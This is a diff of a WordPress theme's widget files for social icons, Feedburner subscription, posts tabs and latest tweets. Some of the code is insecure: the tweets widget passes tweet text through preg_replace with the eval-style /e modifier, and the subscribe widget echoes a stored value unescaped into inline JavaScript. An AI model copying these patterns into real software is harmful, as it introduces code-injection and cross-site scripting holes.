'pattern' => '<li class="social-gplus"><a title="Google+" href="%s" %s>Google+</a></li>',
),
'linkedin' => array(
'label' => __( 'Linkedin URI', 'mythemeshop' ),
'pattern' => '<li class="social-linkedin"><a title="LinkedIn" href="%s" %s>Linkedin</a></li>',
),
'pinterest' => array(
'label' => __( 'Pinterest URI', 'mythemeshop' ),
'pattern' => '<li class="social-pinterest"><a title="Pinterest" href="%s" %s>Pinterest</a></li>',
),
'rss' => array(
'label' => __( 'RSS URI', 'mythemeshop' ),
'pattern' => '<li class="social-rss"><a title="RSS" href="%s" %s>RSS</a></li>',
),
'stumbleupon' => array(
'label' => __( 'StumbleUpon URI', 'mythemeshop' ),
'pattern' => '<li class="social-stumbleupon"><a title="StumbleUpon" href="%s" %s>StumbleUpon</a></li>',
),
'twitter' => array(
'label' => __( 'Twitter URI', 'mythemeshop' ),
'pattern' => '<li class="social-twitter"><a title="Twitter" href="%s" %s>Twitter</a></li>',
),
'youtube' => array(
'label' => __( 'YouTube URI', 'mythemeshop' ),
'pattern' => '<li class="social-youtube"><a title="YouTube" href="%s" %s>YouTube</a></li>',
),
'flickr' => array(
'label' => __( 'Flickr URI', 'mythemeshop' ),
'pattern' => '<li class="social-flickr"><a title="Flickr" href="%s" %s>Flickr</a></li>',
),
'lastfm' => array(
'label' => __( 'Lastfm URI', 'mythemeshop' ),
'pattern' => '<li class="social-lastfm"><a title="Lastfm" href="%s" %s>Lastfm</a></li>',
),
'tumblr' => array(
'label' => __( 'Tumblr URI', 'mythemeshop' ),
'pattern' => '<li class="social-tumblr"><a title="Tumblr" href="%s" %s>Tumblr</a></li>',
),
'vimeo' => array(
'label' => __( 'Vimeo URI', 'mythemeshop' ),
'pattern' => '<li class="social-vimeo"><a title="Vimeo" href="%s" %s>Vimeo</a></li>',
),
);
$widget_ops = array(
'classname' => 'social-profile-icons',
'description' => __( 'Show profile icons.', 'mythemeshop' ),
);
$control_ops = array(
'id_base' => 'social-profile-icons',
#'width' => 505,
#'height' => 350,
);
parent::__construct( 'social-profile-icons', __( 'MyThemeShop: Social Profile Icons', 'mythemeshop' ), $widget_ops, $control_ops );
}
/**
* Widget Form.
*
* Outputs the widget form that allows users to control the output of the widget.
*
*/
function form( $instance ) {
/** Merge with defaults */
$instance = wp_parse_args( (array) $instance, $this->defaults );
?>
<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:', 'mythemeshop' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" /></p>
<p><label><input id="<?php echo $this->get_field_id( 'new_window' ); ?>" type="checkbox" name="<?php echo $this->get_field_name( 'new_window' ); ?>" value="1" <?php checked( 1, $instance['new_window'] ); ?>/> <?php esc_html_e( 'Open links in new window?', 'mythemeshop' ); ?></label></p>
<hr style="background: #ccc; border: 0; height: 1px; margin: 20px 0;" />
<?php
foreach ( (array) $this->profiles as $profile => $data ) {
printf( '<p><label for="%s">%s:</label>', esc_attr( $this->get_field_id( $profile ) ), esc_attr( $data['label'] ) );
printf( '<input type="text" id="%s" class="widefat" name="%s" value="%s" /></p>', esc_attr( $this->get_field_id( $profile ) ), esc_attr( $this->get_field_name( $profile ) ), esc_url( $instance[$profile] ) );
}
}
/**
* Form validation and sanitization.
*
* Runs when you save the widget form. Allows you to validate or sanitize widget options before they are saved.
*
*/
function update( $newinstance, $oldinstance ) {
foreach ( $newinstance as $key => $value ) {
/** Sanitize Profile URIs */
if ( array_key_exists( $key, (array) $this->profiles ) ) {
$newinstance[$key] = esc_url( $newinstance[$key] );
}
}
return $newinstance;
}
/**
* Widget Output.
*
* Outputs the actual widget on the front-end based on the widget options the user selected.
*
*/
function widget( $args, $instance ) {
extract( $args );
/** Merge with defaults */
$instance = wp_parse_args( (array) $instance, $this->defaults );
echo $before_widget;
if ( ! empty( $instance['title'] ) )
echo $before_title . apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ) . $after_title;
$output = '';
$new_window = $instance['new_window'] ? 'target="_blank"' : '';
foreach ( (array) $this->profiles as $profile => $data ) {
if ( ! empty( $instance[$profile] ) )
$output .= sprintf( $data['pattern'], esc_url( $instance[$profile] ), $new_window );
}
if ( $output )
printf( '<div class="social-profile-icons"><ul class="%s">%s</ul></div>', '',$output );
echo $after_widget;
}
}
add_action( 'widgets_init', 'mythemeshop_load_widget' );

View File

@@ -0,0 +1,140 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: Email Subscriber
Description: Feedburner Subscription Widget.
Version: 1.0
-----------------------------------------------------------------------------------*/
// Add function to widgets_init that'll load our widget.
add_action( 'widgets_init', 'mts_subscribe_widgets' );
// Register widget.
function mts_subscribe_widgets() {
register_widget( 'mts_Subscribe_Widget' );
}
/*
// Widget class.
class mts_subscribe_widget extends WP_Widget {
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
/* function mts_Subscribe_Widget() {
/* Widget settings. */
// $widget_ops = array( 'classname' => 'mts_subscribe_widget', 'description' => __('Feedburner Subscription Widget.', 'mythemeshop') );
/* Widget control settings. */
// $control_ops = array( 'width' => 300, 'height' => 350, 'id_base' => 'mts_subscribe_widget' );
/* Create the widget. */
// $this->WP_Widget( 'mts_subscribe_widget', __('MyThemeShop: Subscribe Widget', 'mythemeshop'), $widget_ops, $control_ops );
// }
class mts_Subscribe_Widget extends WP_Widget {
public function __construct() {
$widget_ops = array(
'classname' => 'mts_subscribe_widget',
'description' => __('Feedburner Subscription Widget.', 'mythemeshop')
);
parent::__construct('mts_subscribe_widget', __('MyThemeShop: Subscribe Widget', 'mythemeshop'), $widget_ops);
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget( $args, $instance ) {
extract( $args );
/* Our variables from the widget settings. */
$title = apply_filters('widget_title', $instance['title'] );
$desc = $instance['desc'];
/* Before widget (defined by themes). */
echo $before_widget;
/* Display Widget */
?>
<div class="mts-subscribe">
<?php /* Display the widget title if one was input (before and after defined by themes). */
if ( $title )
echo $before_title . $title . $after_title;
?>
<form action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=<?php echo $desc; ?>', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true" _lpchecked="1">
<input type="text" value="<?php _e('Your email Address','mythemeshop'); ?>..." onblur="if (this.value == '') {this.value = '<?php _e('Your email Address','mythemeshop'); ?>...';}" onfocus="if (this.value == '<?php _e('Your email Address','mythemeshop'); ?>...') {this.value = '';}" name="email">
<input type="hidden" value="<?php echo $desc; ?>" name="uri"><input type="hidden" name="loc" value="en_US"><input type="submit" value="<?php _e('Subscribe','mythemeshop'); ?>">
</form>
<div class="result"></div>
</div><!--subscribe_widget-->
<?php
/* After widget (defined by themes). */
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
/* Strip tags to remove HTML (important for text inputs). */
$instance['title'] = strip_tags( $new_instance['title'] );
/* Stripslashes for html inputs */
$instance['desc'] = stripslashes( $new_instance['desc']);
/* No need to strip tags for.. */
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings
/*-----------------------------------------------------------------------------------*/
function form( $instance ) {
/* Set up some default widget settings. */
$defaults = array(
'title' => '',
'desc' => '',
);
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<!-- Widget Title: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" />
</p>
<!-- Description: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'desc' ); ?>"><?php _e('Feedburner id (http://feeds.feedburner.com/<b>mythemeshop</b>):', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'desc' ); ?>" name="<?php echo $this->get_field_name( 'desc' ); ?>" value="<?php echo stripslashes(htmlspecialchars(( $instance['desc'] ), ENT_QUOTES)); ?>" />
</p>
<?php
}
}
?>

207
functions/widget-tabs.php Normal file
View File

@@ -0,0 +1,207 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Tabs Widget
Description: Display the popular Posts and Latest Posts in tabbed format
Version: 1.0
-----------------------------------------------------------------------------------*/
class mts_Widget_Tabs extends WP_Widget {
/*
function mts_Widget_Tabs() {
$widget_ops = array('classname' => 'widget_tab', 'description' => __('Display the popular Posts and Latest Posts in tabbed format', 'mythemeshop'));
$control_ops = array('width' => 400, 'height' => 350);
parent::__construct('tab', __('MyThemeShop: Tab Widget', 'mythemeshop'), $widget_ops, $control_ops);
}
*/
public function __construct() {
$widget_ops = array('classname' => 'widget_tab', 'description' => __('Display the popular Posts and Latest Posts in tabbed format', 'mythemeshop'));
$control_ops = array('width' => 400, 'height' => 350);
parent::__construct('tab', __('MyThemeShop: Tab Widget', 'mythemeshop'), $widget_ops, $control_ops);
}
function form( $instance ) {
$instance = wp_parse_args( (array) $instance, array( 'popular_post_num' => '5', 'recent_post_num' => '5', 'show_thumb4' => 1, 'show_thumb5' => 1, 'date1' => 1, 'date2' => 1, 'comment_num1' => 1, 'comment_num2' => 1) );
$popular_post_num = $instance['popular_post_num'];
$show_thumb4 = isset( $instance[ 'show_thumb4' ] ) ? esc_attr( $instance[ 'show_thumb4' ] ) : 1;
$show_thumb5 = isset( $instance[ 'show_thumb5' ] ) ? esc_attr( $instance[ 'show_thumb5' ] ) : 1;
$date1 = isset( $instance[ 'date1' ] ) ? esc_attr( $instance[ 'date1' ] ) : 1;
$date2 = isset( $instance[ 'date2' ] ) ? esc_attr( $instance[ 'date2' ] ) : 1;
$comment_num1 = isset( $instance[ 'comment_num1' ] ) ? esc_attr( $instance[ 'comment_num1' ] ) : 1;
$comment_num2 = isset( $instance[ 'comment_num2' ] ) ? esc_attr( $instance[ 'comment_num2' ] ) : 1;
$recent_post_num = format_to_edit($instance['recent_post_num']);
?>
<p><label for="<?php echo $this->get_field_id('popular_post_num'); ?>"><?php _e('Number of popular posts to show:', 'mythemeshop'); ?></label>
<input id="<?php echo $this->get_field_id('popular_post_num'); ?>" name="<?php echo $this->get_field_name('popular_post_num'); ?>" type="number" min="1" step="1" value="<?php echo $popular_post_num; ?>" /></p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb4"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb4"); ?>" name="<?php echo $this->get_field_name("show_thumb4"); ?>" value="1" <?php if (isset($instance['show_thumb4'])) { checked( 1, $instance['show_thumb4'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date1"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date1"); ?>" name="<?php echo $this->get_field_name("date1"); ?>" value="1" <?php if (isset($instance['date1'])) { checked( 1, $instance['date1'], true ); } ?> />
<?php _e( 'Show Date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num1"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num1"); ?>" name="<?php echo $this->get_field_name("comment_num1"); ?>" value="1" <?php if (isset($instance['comment_num1'])) { checked( 1, $instance['comment_num1'], true ); } ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<p><label for="<?php echo $this->get_field_id('recent_post_num'); ?>"><?php _e('Number of latest posts to show:', 'mythemeshop'); ?></label>
<input type="number" min="1" step="1" id="<?php echo $this->get_field_id('recent_post_num'); ?>" name="<?php echo $this->get_field_name('recent_post_num'); ?>" value="<?php echo $recent_post_num; ?>" /></p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb5"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb5"); ?>" name="<?php echo $this->get_field_name("show_thumb5"); ?>" value="1" <?php if (isset($instance['show_thumb5'])) { checked( 1, $instance['show_thumb5'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date2"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date2"); ?>" name="<?php echo $this->get_field_name("date2"); ?>" value="1" <?php if (isset($instance['date2'])) { checked( 1, $instance['date2'], true ); } ?> />
<?php _e( 'Show Date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num2"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num2"); ?>" name="<?php echo $this->get_field_name("comment_num2"); ?>" value="1" <?php if (isset($instance['comment_num2'])) { checked( 1, $instance['comment_num2'], true ); } ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<?php }
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
$instance['popular_post_num'] = $new_instance['popular_post_num'];
$instance['recent_post_num'] = $new_instance['recent_post_num'];
$instance['show_thumb4'] = $new_instance['show_thumb4'];
$instance['show_thumb5'] = $new_instance['show_thumb5'];
$instance['date1'] = $new_instance['date1'];
$instance['date2'] = $new_instance['date2'];
$instance['comment_num1'] = $new_instance['comment_num1'];
$instance['comment_num2'] = $new_instance['comment_num2'];
return $instance;
}
function widget( $args, $instance ) {
extract($args);
$popular_post_num = $instance['popular_post_num'];
$recent_post_num = $instance['recent_post_num'];
$show_thumb4 = $instance['show_thumb4'];
$show_thumb5 = $instance['show_thumb5'];
$date1 = $instance['date1'];
$date2 = $instance['date2'];
$comment_num1 = $instance['comment_num1'];
$comment_num2 = $instance['comment_num2'];
?>
<?php echo $before_widget; ?>
<div id="tabber">
<ul class="tabs">
<li><a href="#popular-posts"><i class="icon-list-ol"></i><?php _e('Popular Posts', 'mythemeshop'); ?></a></li>
<li class="tab-recent-posts"><a href="#recent-posts"><i class="icon-list-ul"></i><?php _e('Recent Posts', 'mythemeshop'); ?></a></li>
</ul> <!--end .tabs-->
<div class="clear"></div>
<div class="inside">
<div id="popular-posts">
<ul>
<?php rewind_posts(); ?>
<?php $popular = new WP_Query( array('ignore_sticky_posts' => 1, 'showposts' => $popular_post_num, 'orderby' => 'comment_count', 'order' => 'desc')); while ($popular->have_posts()) : $popular->the_post(); ?>
<?php if($popular_post_num != 1){echo '';} ?>
<li>
<?php if ( $show_thumb4 == 1 ) : ?>
<div class="left">
<?php if(has_post_thumbnail()): ?>
<a href='<?php the_permalink(); ?>'><?php the_post_thumbnail('widgetthumb',array('title' => '')); ?></a>
<?php else: ?>
<a href='<?php the_permalink(); ?>'><img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" /></a>
<?php endif; ?>
<div class="clear"></div>
</div>
<?php endif; ?>
<div class="info">
<p class="entry-title"><a title="<?php the_title(); ?>" href="<?php the_permalink() ?>"><?php the_title(); ?></a></p>
<?php if ( $date1 == 1 || $comment_num1 == 1) : ?>
<div class="meta">
<?php if ( $date1 == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date1 == 1 && $comment_num1 == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num1 == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php endif; ?>
</div>
<div class="clear"></div>
</li>
<?php $popular_post_num++; endwhile; wp_reset_query(); ?>
</ul>
</div> <!--end #popular-posts-->
<div id="recent-posts">
<ul>
<?php $the_query = new WP_Query('showposts='. $recent_post_num .'&orderby=post_date&order=desc'); while ($the_query->have_posts()) : $the_query->the_post(); ?>
<li>
<?php if ( $show_thumb5 == 1 ) : ?>
<div class="left">
<?php if(has_post_thumbnail()): ?>
<a href='<?php the_permalink(); ?>'><?php the_post_thumbnail('widgetthumb',array('title' => '')); ?></a>
<?php else: ?>
<a href='<?php the_permalink(); ?>'><img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" /></a>
<?php endif; ?>
<div class="clear"></div>
</div>
<?php endif; ?>
<div class="info">
<p class="entry-title"><a title="<?php the_title(); ?>" href="<?php the_permalink() ?>"><?php the_title(); ?></a></p>
<?php if ( $date2 == 1 || $comment_num2 == 1) : ?>
<div class="meta">
<?php if ( $date2 == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date2 == 1 && $comment_num2 == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num2 == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php endif; ?>
</div>
<div class="clear"></div>
</li>
<?php $recent_post_num++; endwhile; wp_reset_query(); ?>
</ul>
</div> <!--end #recent-posts-->
<div class="clear"></div>
</div> <!--end .inside -->
<div class="clear"></div>
</div><!--end #tabber -->
<?php echo $after_widget; ?>
<?php }
}
//add_action( 'widgets_init', create_function( '', 'register_widget( "mts_Widget_Tabs" );' ) );
//add_action('widgets_init', function(){return register_widget("mts_Widget_Tabs");});
add_action('widgets_init', function(){
$widget_instance = new mts_Widget_Tabs(); // Create an instance of the widget
register_widget($widget_instance); // Register the widget instance
});
?>

130
functions/widget-tweets.php Normal file
View File

@@ -0,0 +1,130 @@
<?php
/* -----------------------------------------------------------------------
Plugin Name: MyThemeShop Latest Tweets Widget
Description: A widget for showing latest tweets in sidebar
Version: 2.0
------------------------------------------------------------------------*/
class mts_widget_recent_tweets extends WP_Widget {
public function __construct() {
parent::__construct(
'mts_widget_recent_tweets', // Base ID
'MyThemeShop: Latest Tweets', // Name
array( 'description' => __( 'A widget for showing latest tweets in sidebar', 'mythemeshop' ), ) // Args
);
}
public function widget($args, $instance) {
extract($args);
if(!empty($instance['title'])){ $title = apply_filters( 'widget_title', $instance['title'] ); }
echo $before_widget;
if ( ! empty( $title ) ){ echo $before_title . $title . $after_title; }
//check settings and die if not set
if(empty($instance['consumerkey']) || empty($instance['consumersecret']) || empty($instance['accesstoken']) || empty($instance['accesstokensecret']) || empty($instance['cachetime']) || empty($instance['username'])){
echo '<strong>Please fill all widget settings!</strong>' . $after_widget; return; }
//check if cache needs update
$mts_twitter_plugin_last_cache_time = get_option('mts_twitter_plugin_last_cache_time');
$diff = time() - $mts_twitter_plugin_last_cache_time;
$crt = $instance['cachetime'] * 3600;
// yes, it needs update
//require_once('twitteroauth.php');
if($diff >= $crt || empty($mts_twitter_plugin_last_cache_time)){
if(!require_once('twitteroauth.php')){ echo '<strong>Couldn\'t find twitteroauth.php!</strong>' . $after_widget; return; }
function getConnectionWithAccessToken($cons_key, $cons_secret, $oauth_token, $oauth_token_secret) {
$connection = new TwitterOAuth($cons_key, $cons_secret, $oauth_token, $oauth_token_secret);
return $connection;
}
$connection = getConnectionWithAccessToken($instance['consumerkey'], $instance['consumersecret'], $instance['accesstoken'], $instance['accesstokensecret']);
$tweets = $connection->get("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$instance['username']."&count=10") or die('Couldn\'t retrieve tweets! Wrong username?');
if(!empty($tweets->errors)){
if($tweets->errors[0]->message == 'Invalid or expired token'){
echo '<strong>'.$tweets->errors[0]->message.'!</strong><br />You\'ll need to regenerate it <a href="https://dev.twitter.com/apps" target="_blank">here</a>!' . $after_widget;
}else{ echo '<strong>'.$tweets->errors[0]->message.'</strong>' . $after_widget; }
return;
}
for($i = 0;$i <= count($tweets); $i++){
if(!empty($tweets[$i])){
$tweets_array[$i]['created_at'] = $tweets[$i]->created_at;
$tweets_array[$i]['text'] = $tweets[$i]->text;
$tweets_array[$i]['status_id'] = $tweets[$i]->id_str;
}
}
//save tweets to wp option
update_option('mts_twitter_plugin_tweets',serialize($tweets_array));
update_option('mts_twitter_plugin_last_cache_time',time());
echo '<!-- twitter cache has been updated! -->';
}
//convert links to clickable format
function convert_links($status,$targetBlank=true,$linkMaxLen=250){
$target=$targetBlank ? " target=\"_blank\" " : ""; // the target
$status = preg_replace("/((http:\/\/|https:\/\/)[^ )]+)/e", "'<a href=\"$1\" title=\"$1\" $target >'. ((strlen('$1')>=$linkMaxLen ? substr('$1',0,$linkMaxLen).'...':'$1')).'</a>'", $status); // convert link to url
$status = preg_replace("/(@([_a-z0-9\-]+))/i","<a href=\"http://twitter.com/$2\" title=\"Follow $2\" $target >$1</a>",$status); // convert @ to follow
$status = preg_replace("/(#([_a-z0-9\-]+))/i","<a href=\"https://twitter.com/search?q=$2\" title=\"Search $1\" $target >$1</a>",$status); // convert # to search
return $status; // return the status
}
//convert dates to readable format
function relative_time($a) {
$b = strtotime("now"); //get current timestampt
$c = strtotime($a); //get timestamp when tweet created
$d = $b - $c; //get difference
$minute = 60; //calculate different time values
$hour = $minute * 60;
$day = $hour * 24;
$week = $day * 7;
if(is_numeric($d) && $d > 0) {
if($d < 3) return "right now"; //if less then 3 seconds
if($d < $minute) return floor($d) . " seconds ago"; //if less then minute
if($d < $minute * 2) return "about 1 minute ago"; //if less then 2 minutes
if($d < $hour) return floor($d / $minute) . " minutes ago"; //if less then hour
if($d < $hour * 2) return "about 1 hour ago"; //if less then 2 hours
if($d < $day) return floor($d / $hour) . " hours ago"; //if less then day
if($d > $day && $d < $day * 2) return "yesterday"; //if more then day, but less then 2 days
if($d < $day * 365) return floor($d / $day) . " days ago"; //if less then year
return "over a year ago"; //else return more than a year
}
}
$mts_twitter_plugin_tweets = maybe_unserialize(get_option('mts_twitter_plugin_tweets'));
if(!empty($mts_twitter_plugin_tweets)){
print '<div class="mts_recent_tweets tweets"><ul>';
$fctr = '1';
foreach($mts_twitter_plugin_tweets as $tweet){
print '<li><span>'.convert_links($tweet['text']).'</span><br /><a class="twitter_time" target="_blank" href="http://twitter.com/'.$instance['username'].'/statuses/'.$tweet['status_id'].'">'.relative_time($tweet['created_at']).'</a></li>';
if($fctr == $instance['tweetstoshow']){ break; }
$fctr++;
}
print '</ul></div>';
}
echo $after_widget;
}
//save widget settings
public function update($new_instance, $old_instance) {
$instance = array();
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['consumerkey'] = strip_tags( $new_instance['consumerkey'] );
$instance['consumersecret'] = strip_tags( $new_instance['consumersecret'] );
$instance['accesstoken'] = strip_tags( $new_instance['accesstoken'] );
$instance['accesstokensecret'] = strip_tags( $new_instance['accesstokensecret'] );
$instance['cachetime'] = strip_tags( $new_instance['cachetime'] );
$instance['username'] = strip_tags( $new_instance['username'] );
$instance['tweetstoshow'] = strip_tags( $new_instance['tweetstoshow'] );
if($old_instance['username'] != $new_instance['username']){ delete_option('mts_twitter_plugin_last_cache_time'); }
return $instance;
}
//widget settings form
public function form($instance){
$defaults = array( 'title' => '', 'consumerkey' => '', 'consumersecret' => '', 'accesstoken' => '', 'accesstokensecret' => '', 'cachetime' => '', 'username' => '', 'tweetstoshow' => '' );
$instance = wp_parse_args( (array) $instance, $defaults );
echo '<p><label>Title:</label><input type="text" name="'.$this->get_field_name( 'title' ).'" id="'.$this->get_field_id( 'title' ).'" value="'.esc_attr($instance['title']).'" class="widefat" /></p><p><label>'.__('Consumer Key','mythemeshop').':</label><input type="text" name="'.$this->get_field_name( 'consumerkey' ).'" id="'.$this->get_field_id( 'consumerkey' ).'" value="'.esc_attr($instance['consumerkey']).'" class="widefat" /></p><p><label>'.__('Consumer Secret','mythemeshop').':</label><input type="text" name="'.$this->get_field_name( 'consumersecret' ).'" id="'.$this->get_field_id( 'consumersecret' ).'" value="'.esc_attr($instance['consumersecret']).'" class="widefat" /></p><p><label>'.__('Access Token','mythemeshop').':</label><input type="text" name="'.$this->get_field_name( 'accesstoken' ).'" id="'.$this->get_field_id( 'accesstoken' ).'" value="'.esc_attr($instance['accesstoken']).'" class="widefat" /></p>
<p><label>'.__('Access Token Secret','mythemeshop').':</label><input type="text" name="'.$this->get_field_name( 'accesstokensecret' ).'" id="'.$this->get_field_id( 'accesstokensecret' ).'" value="'.esc_attr($instance['accesstokensecret']).'" class="widefat" /></p><p><label>'.__('Cache Tweets in every','mythemeshop').':</label><input type="text" name="'.$this->get_field_name( 'cachetime' ).'" id="'.$this->get_field_id( 'cachetime' ).'" value="'.esc_attr($instance['cachetime']).'" class="small-text" /> hours</p><p><label>'.__('Twitter Username','mythemeshop').'</label>
<input type="text" name="'.$this->get_field_name( 'username' ).'" id="'.$this->get_field_id( 'username' ).'" value="'.esc_attr($instance['username']).'" class="widefat" /></p><p><label>'.__('Number of tweets (max 20)','mythemeshop').'</label><select type="text" name="'.$this->get_field_name( 'tweetstoshow' ).'" id="'.$this->get_field_id( 'tweetstoshow' ).'">';
for($i = 1; $i <= 20; $i++){ echo '<option value="'.$i.'"'; if($instance['tweetstoshow'] == $i){ echo ' selected="selected"'; } echo '>'.$i.'</option>'; }
echo '</select></p><p>Visit <a href="https://dev.twitter.com/apps/" target="_blank">this link</a> in a new tab, sign in with your account, click on Create a new application and create your own keys in case you don\'t have already</p>'; }
}
// register widget
function register_mts_twitter_widget(){
register_widget('mts_widget_recent_tweets');
}
add_action('widgets_init', 'register_mts_twitter_widget', 1);
?>